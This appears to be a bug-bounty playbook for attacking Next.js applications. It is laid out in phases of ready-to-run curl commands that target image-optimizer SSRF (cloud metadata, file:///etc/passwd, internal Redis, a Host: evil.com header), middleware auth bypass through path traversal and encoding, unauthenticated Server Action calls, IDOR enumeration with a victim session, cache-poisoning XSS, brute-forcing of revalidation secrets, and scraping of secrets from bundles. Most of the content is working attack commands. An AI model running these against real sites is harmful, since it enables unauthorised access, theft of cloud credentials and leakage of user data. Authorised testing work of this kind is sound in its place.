HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities
Crown Jewel Targets
Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
Highest-value chains:
- Server Actions auth bypass — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
- Middleware bypass via
/_next/static/— middleware skips static asset paths → protected routes accessible via/_next/data/IDOR /_next/imageSSRF — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata- ISR stale cache poisoning — inject malicious content into a cached page that gets served to all users
- RSC payload leakage — React Server Component flight data contains server-side props not meant for client
Attack Surface Signals
/_next/image?url=&w=&q= Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame Debug stack frame endpoint
/_next/static/chunks/ JS bundles — source map candidate
/api/ API routes — standard hunt surface
__NEXT_DATA__ in HTML SSR props leaked to client
x-nextjs-* response headers Confirms Next.js
Phase 1 — Fingerprint & Version Detection
# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"
# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
Phase 2 — Server Actions Abuse
# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
-H "Next-Action: ACTION_ID_HERE" \
-H "Content-Type: multipart/form-data; boundary=----" \
-H "Cookie: " \
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only
Phase 3 — Middleware Auth Bypass
# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible
# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"
# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
Phase 4 — Image Optimization SSRF (/_next/image)
# Basic SSRF test — internal metadata
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"
# Protocol bypass attempts
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
# OOB detection
COLLAB="http://COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback
# CVE-2024-34351 — Host header SSRF via image optimizer
curl -s "https://$TARGET/_next/image?url=http://target.com/image.png&w=64&q=75" \
-H "Host: evil.com"
Phase 5 — /_next/data/ IDOR & Data Leakage
# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
-H "Cookie: session=VICTIM_SESSION"
# Try other users' data
for ID in 1 2 3 100 1000; do
curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done
# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl -s "https://$TARGET/dashboard" | \
python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
Phase 6 — ISR Cache Poisoning
# ISR pages regenerate on request after revalidation period
# If user input influences the static page content without sanitization:
# 1. Trigger revalidation with malicious input in URL/query
# 2. Injected content cached and served to all users
# Test: does query param affect cached page content?
curl -s "https://$TARGET/blog/test-post?preview=<script>alert(1)</script>" | grep "script"
# On-demand revalidation endpoint (if exposed)
curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"
Phase 7 — Debug & Stack Frame Endpoints
# Next.js dev-mode endpoints sometimes leak to production
curl -s "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
# Error overlay endpoint — file read primitive in misconfigured prod
curl -s "https://$TARGET/__nextjs_original-stack-frame" \
--data '{"file":"/etc/passwd","line":1,"column":1}'
Phase 8 — Environment Variable Leakage
# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"
# Check for non-public vars accidentally exposed
curl -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
if m:
d = json.loads(m.group(1))
print(json.dumps(d.get('props', {}), indent=2))
"
Chain Table
| Next.js finding | Chain to | Impact |
|---|---|---|
| Server Action no auth | Call privileged mutations directly | Data manipulation / admin access |
/_next/image SSRF |
Cloud metadata → IAM creds | Cloud compromise |
/_next/data/ IDOR |
Other users' server-side props | PII / token exfil |
| Middleware bypass | Protected admin routes | Auth bypass |
| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |
__NEXT_DATA__ leaks |
Server-side secrets in HTML | API keys / tokens |
Validation
✅ Server Action: action executes without valid session, returns data or mutates state
✅ SSRF: DNS/HTTP callback received from /_next/image SSRF
✅ Middleware bypass: 200 response on protected route without auth cookie
✅ Data leak: __NEXT_DATA__ contains non-public secrets or other users' PII
Severity:
- Server Action auth bypass → data mutation: High/Critical
- Image SSRF → cloud metadata: Critical
- Middleware bypass → admin panel: High
- Source map exposure only: Low-Medium